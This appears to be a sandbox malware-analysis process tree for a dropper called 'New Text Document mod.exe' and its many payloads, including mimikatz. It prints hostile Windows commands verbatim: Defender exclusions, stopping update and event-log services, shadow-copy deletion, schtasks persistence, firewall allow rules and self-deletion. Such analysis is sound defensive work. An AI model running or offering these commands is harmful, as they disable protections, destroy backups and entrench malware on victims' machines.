      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1980 -parentBuildID 20240401114208 -prefsHandle 1908 -prefMapHandle 1900 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {378003ed-3466-4c05-a7ed-bba5224629a8} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" gpu
      4⤵
      PID:5056
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2368 -parentBuildID 20240401114208 -prefsHandle 2360 -prefMapHandle 2356 -prefsLen 23716 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c505050-1e03-46ef-b1ef-fe57c063421b} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" socket
      4⤵
      PID:4280
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3252 -childID 1 -isForBrowser -prefsHandle 3312 -prefMapHandle 3236 -prefsLen 23857 -prefMapSize 244658 -jsInitHandle 1060 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {40e82d4d-daad-4ccc-aec4-2a84827a47b5} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" tab
      4⤵
      PID:3428
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4300 -childID 2 -isForBrowser -prefsHandle 4232 -prefMapHandle 4264 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1060 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {232da120-c5f9-4710-8f76-18b72c86650e} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" tab
      4⤵
      PID:5084
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4948 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4940 -prefMapHandle 4936 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fd78a113-7969-4e5e-bce2-91af8e03e5e4} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" utility
      4⤵
      Checks processor information in registry
      PID:2744
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5240 -childID 3 -isForBrowser -prefsHandle 2816 -prefMapHandle 5344 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 1060 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {698e29d7-fa9d-468e-ad62-559cb26849f6} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" tab
      4⤵
      PID:2316
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5484 -childID 4 -isForBrowser -prefsHandle 5492 -prefMapHandle 5496 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 1060 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4bc065fc-d2b5-4c47-aadb-94561cb8278b} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" tab
      4⤵
      PID:4204
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5736 -childID 5 -isForBrowser -prefsHandle 5660 -prefMapHandle 5664 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 1060 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {56e7f3f6-1aa9-404d-a43e-6f6e40ca12aa} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" tab
      4⤵
      PID:960
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6216 -childID 6 -isForBrowser -prefsHandle 6252 -prefMapHandle 6136 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 1060 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2344089e-5a12-4389-8f8c-266105fb3990} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" tab
      4⤵
      PID:1756
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3768 -childID 7 -isForBrowser -prefsHandle 4552 -prefMapHandle 4708 -prefsLen 27228 -prefMapSize 244658 -jsInitHandle 1060 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9d145596-51cc-4398-902f-cc3f44578b51} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" tab
      4⤵
      PID:1120
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6024 -parentBuildID 20240401114208 -prefsHandle 3520 -prefMapHandle 6636 -prefsLen 32493 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0019d61-75fa-4047-aaf4-c6be63240aad} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" rdd
      4⤵
      PID:4000
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6032 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 6648 -prefMapHandle 6620 -prefsLen 32493 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {393ca57c-3ce0-44e9-82ed-d36f7bd4573a} 4076 "\\.\pipe\gecko-crash-server-pipe.4076" utility
      4⤵
      Checks processor information in registry
      PID:4228
  - - C:\Users\Admin\Desktop\New Text Document mod.exe
      "C:\Users\Admin\Desktop\New Text Document mod.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:4636
    - - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
        
        "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2436
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1900
      - C:\Users\Admin\Desktop\a\build.exe
        
        "C:\Users\Admin\Desktop\a\build.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5204
      - C:\Users\Admin\Desktop\a\gem1.exe
        
        "C:\Users\Admin\Desktop\a\gem1.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2024
        
        C:\Users\Admin\Desktop\a\gem1.exe
        
        "C:\Users\Admin\Desktop\a\gem1.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:5628
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2024 -s 796
        7⤵
        Program crash
        
        PID:5700
    - - C:\ProgramData\Synaptics\Synaptics.exe
        
        "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2380
      - C:\Users\Admin\Desktop\._cache_Synaptics.exe
        
        "C:\Users\Admin\Desktop\._cache_Synaptics.exe" InjUpdate
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5276
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:5292
        
        C:\Users\Admin\Desktop\a\voidware_loader.exe
        
        "C:\Users\Admin\Desktop\a\voidware_loader.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "DirectX" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\DirectX111.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6096
        
        C:\Users\Admin\AppData\Roaming\SubDir\DirectX111.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\DirectX111.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4260
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "DirectX" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\DirectX111.exe" /rl HIGHEST /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2732
        
        C:\Users\Admin\Desktop\a\cbot.exe
        
        "C:\Users\Admin\Desktop\a\cbot.exe"
        7⤵
        
        PID:6452
        
        C:\Users\Admin\Desktop\a\Client-built.exe
        
        "C:\Users\Admin\Desktop\a\Client-built.exe"
        7⤵
        
        PID:7224
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:6008
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:6080
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6092
  - - C:\Users\Admin\Desktop\a\gem2.exe
      "C:\Users\Admin\Desktop\a\gem2.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      PID:5448
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2732
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:384
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:3920
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3992
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:2852
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:4132
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:4516
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4868
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3332
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:5224
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5056
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:5740
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3828
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GeekBrains"
        5⤵
        Launches sc.exe
        
        PID:4196
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:2692
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5628
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        5⤵
        Launches sc.exe
        
        PID:5796
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:7116
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GeekBrains"
        5⤵
        Launches sc.exe
        
        PID:6768
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:7124
  - - C:\Users\Admin\Desktop\a\Crawl.exe
      "C:\Users\Admin\Desktop\a\Crawl.exe"
      4⤵
      PID:8124
    - - \??\c:\Windows\system32\wbem\wmic.exe
        
        c:\yNWnBf\yNWn\..\..\Windows\yNWn\yNWn\..\..\system32\yNWn\yNWn\..\..\wbem\yNWn\yNWnB\..\..\wmic.exe shadowcopy delete
        5⤵
        
        PID:8448
    - - \??\c:\Windows\system32\wbem\wmic.exe
        
        c:\fEpHls\fEpH\..\..\Windows\fEpH\fEpH\..\..\system32\fEpH\fEpH\..\..\wbem\fEpH\fEpHl\..\..\wmic.exe shadowcopy delete
        5⤵
        
        PID:4352
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\Desktop\a\Crawl.exe"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4264
  - - C:\Users\Admin\Desktop\a\albt.exe
      "C:\Users\Admin\Desktop\a\albt.exe"
      4⤵
      PID:8500
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8500 -s 1192
        5⤵
        Program crash
        
        PID:8892
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:4364
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:5244
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1968 -parentBuildID 20240401114208 -prefsHandle 1896 -prefMapHandle 1888 -prefsLen 27673 -prefMapSize 244985 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8edcf035-0c2d-40e3-9631-2a3ba0f76db7} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" gpu
      4⤵
      PID:4616
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2368 -parentBuildID 20240401114208 -prefsHandle 2356 -prefMapHandle 2344 -prefsLen 27709 -prefMapSize 244985 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {def19975-458b-4368-b84f-3fe7f26f6503} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" socket
      4⤵
      PID:3676
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3160 -childID 1 -isForBrowser -prefsHandle 2536 -prefMapHandle 3184 -prefsLen 27850 -prefMapSize 244985 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0d4ff065-bee5-41c6-bd71-c5bcab1ee116} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" tab
      4⤵
      PID:1844
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -childID 2 -isForBrowser -prefsHandle 4112 -prefMapHandle 4108 -prefsLen 33026 -prefMapSize 244985 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {56fad163-dd47-4370-9ce8-0acbefabc995} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" tab
      4⤵
      PID:2324
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4796 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4792 -prefMapHandle 4788 -prefsLen 33080 -prefMapSize 244985 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a065e0f-a201-4aeb-8b2d-ad995d0f7ad9} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" utility
      4⤵
      Checks processor information in registry
      PID:2936
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4980 -childID 3 -isForBrowser -prefsHandle 4976 -prefMapHandle 4972 -prefsLen 27506 -prefMapSize 244985 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {599f57c9-b689-45d2-b878-59e83f7892a0} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" tab
      4⤵
      PID:4408
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5908 -childID 4 -isForBrowser -prefsHandle 5816 -prefMapHandle 5736 -prefsLen 27506 -prefMapSize 244985 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {992a173d-da5f-4c31-a725-2c9cd964f9a2} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" tab
      4⤵
      PID:3988
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6060 -childID 5 -isForBrowser -prefsHandle 6072 -prefMapHandle 5820 -prefsLen 27506 -prefMapSize 244985 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d42e5384-78dc-4841-ab0d-1461ff38b489} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" tab
      4⤵
      PID:5768
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6240 -childID 6 -isForBrowser -prefsHandle 6248 -prefMapHandle 6252 -prefsLen 27506 -prefMapSize 244985 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4fdc6fdb-3d6e-44bf-9768-672cca1ae9d4} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" tab
      4⤵
      PID:5776
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6300 -parentBuildID 20240401114208 -prefsHandle 6308 -prefMapHandle 6456 -prefsLen 33080 -prefMapSize 244985 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cc52d55-3514-489b-a028-d53991e92fc4} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" rdd
      4⤵
      PID:5084
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6440 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 5816 -prefMapHandle 6452 -prefsLen 33080 -prefMapSize 244985 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0185877-4e89-4c44-9c15-9979d06c73bb} 5244 "\\.\pipe\gecko-crash-server-pipe.5244" utility
      4⤵
      Checks processor information in registry
      PID:4240
  - - C:\Users\Admin\Desktop\New Text Document mod.exe
      "C:\Users\Admin\Desktop\New Text Document mod.exe"
      4⤵
      PID:816
    - - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
        
        "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
        5⤵
        
        PID:7124
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:6924
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:2304
  - - C:\Users\Admin\Desktop\a\mimikatz.exe
      "C:\Users\Admin\Desktop\a\mimikatz.exe"
      4⤵
      PID:2888
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:6868
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:5796
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:7068
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:6332
  - - C:\Users\Admin\Desktop\a\uu.exe
      "C:\Users\Admin\Desktop\a\uu.exe"
      4⤵
      PID:7868
  - - C:\Users\Admin\Desktop\a\sela.exe
      "C:\Users\Admin\Desktop\a\sela.exe"
      4⤵
      PID:7916
  - - C:\Users\Admin\Desktop\a\evetbeta.exe
      "C:\Users\Admin\Desktop\a\evetbeta.exe"
      4⤵
      PID:9532
  - - C:\Users\Admin\Desktop\a\benpolatalemdar.exe
      "C:\Users\Admin\Desktop\a\benpolatalemdar.exe"
      4⤵
      PID:9928
  - - C:\Users\Admin\Desktop\a\testingg.exe
      "C:\Users\Admin\Desktop\a\testingg.exe"
      4⤵
      PID:10140
    - - C:\Users\Admin\AppData\Roaming\server.exe
        
        "C:\Users\Admin\AppData\Roaming\server.exe"
        5⤵
        
        PID:10060
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:11232
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe"
        6⤵
        Modifies Windows Firewall
        
        PID:7908
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:7900
  - - C:\Users\Admin\Desktop\a\Server.exe
      "C:\Users\Admin\Desktop\a\Server.exe"
      4⤵
      PID:2052
    - - C:\Users\Admin\AppData\Local\Temp\server.exe
        
        "C:\Users\Admin\AppData\Local\Temp\server.exe"
        5⤵
        
        PID:10700
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:4892
  - - C:\Users\Admin\Desktop\a\seksiak.exe
      "C:\Users\Admin\Desktop\a\seksiak.exe"
      4⤵
      PID:9316
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10716
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ygSyNhENVfN9.bat" "
        5⤵
        
        PID:9580
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:6668
      - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4616
      - C:\Users\Admin\Desktop\a\seksiak.exe
        
        "C:\Users\Admin\Desktop\a\seksiak.exe"
        6⤵
        
        PID:7612
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\STXa2K5kKGQV.bat" "
        7⤵
        
        PID:4928
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:5768
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5756
        
        C:\Users\Admin\Desktop\a\seksiak.exe
        
        "C:\Users\Admin\Desktop\a\seksiak.exe"
        8⤵
        
        PID:4620
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EWJ3Q56iwfGD.bat" "
        9⤵
        
        PID:7100
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        10⤵
        
        PID:7892
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        10⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4788
        
        C:\Users\Admin\Desktop\a\seksiak.exe
        
        "C:\Users\Admin\Desktop\a\seksiak.exe"
        10⤵
        
        PID:7516
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        11⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eyXyurQjNAbd.bat" "
        11⤵
        
        PID:7632
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        12⤵
        
        PID:4896
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        12⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2748
        
        C:\Users\Admin\Desktop\a\seksiak.exe
        
        "C:\Users\Admin\Desktop\a\seksiak.exe"
        12⤵
        
        PID:8824
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        13⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jkVDxXcl4I2P.bat" "
        13⤵
        
        PID:7220
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        14⤵
        
        PID:7980
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        14⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8392
        
        C:\Users\Admin\Desktop\a\seksiak.exe
        
        "C:\Users\Admin\Desktop\a\seksiak.exe"
        14⤵
        
        PID:392
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        15⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\y0w3wKDLSfSb.bat" "
        15⤵
        
        PID:10508
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        16⤵
        
        PID:7328
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        16⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6600
  - - C:\Users\Admin\Desktop\a\2klz.exe
      "C:\Users\Admin\Desktop\a\2klz.exe"
      4⤵
      PID:3532
    - - C:\Users\Admin\AppData\Roaming\SubDir\2klz.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\2klz.exe"
        5⤵
        
        PID:10448
